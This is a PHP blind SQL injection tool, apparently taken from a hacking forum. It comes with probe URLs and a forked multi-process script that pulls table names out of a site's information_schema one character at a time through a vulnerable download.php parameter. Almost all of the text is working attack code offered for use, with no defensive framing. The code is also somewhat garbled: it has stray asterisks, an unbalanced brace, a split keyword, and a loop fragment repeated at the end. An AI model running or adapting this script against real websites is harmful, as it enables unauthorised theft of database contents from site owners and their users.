http://www.site.com/download.php?id=2

http://www.site.com/download.php?id=2+and+1=0

http://www.site.com/download.php?id=2+and+1=1

<?
   $x=97;
       $substring = 0;
   $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
   $url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x;
   $var = strlen(file_get_contents($url,FALSE,NULL,0,1));
   if ($var != 0){
      echo "TRUE";
   }else{
      echo "FALSE";
   }
               }
?>

<?php
/*
Coded by [underwater]
http://forum.antichat.ru
thx Qwazar
*/
set_time_limit (0);
error_reporting(0);

function ordenar($file){
	$file = file($file);
	foreach ($file as $var){
	list($ansii,$valores)= explode(">",$var);
	$vars[$ansii] = $valores;
	}
	ksort($vars);
	foreach ($vars as $var){
	$data .=trim($var);
	}
	return array($data,$vars);
}

function blind($limit,$substring,$file){
$ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,
		113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,
		65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);

for ($x=0;$x<=count($ascii);$x++){
	$f1=fopen($file,"a");
	$sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; // Отображение таблиц в БД
	$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];

	$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
	if ($var != 0){
			$info = $substring . ">".chr($ascii[$x])."\n";
			$string.= chr($ascii[$x]); // Получаем значение и сохраняем его
			echo "[".$substring."] > FOUND :>>>>>>>>>>> ".$string."\r\n";
			fwrite($f1,$info);
			fclose($f1);
			exit();
	}else{
		echo chr($ascii[$x]).chr(13);
	}
					}

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt";*
while (file_exists($file)) {
$file = rand().".txt";*
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Значение :> ".$data."\r\n";
unlink($file);

?>

for ($x=0;$x<=count($ascii);$x++){
	$f1=fopen($file,"a");
	$sql = "SELECT+table_name+from+information_schema.tables+w  here+table_schema='db'+limit+".$limit.",1"; // Отображение таблиц в БД
	$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];

	$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
	if ($var != 0){
			$info = $substring . ">".chr($ascii[$x])."\n";
			$string.= chr($ascii[$x]); // Получаем значение и сохраняем его
			echo "[".$substring."] > FOUND :>>>>>>>>>>> ".$string."\r\n";
			fwrite($f1,$info);
			fclose($f1);
			exit();
	}else{
		echo chr($ascii[$x]).chr(13);
	}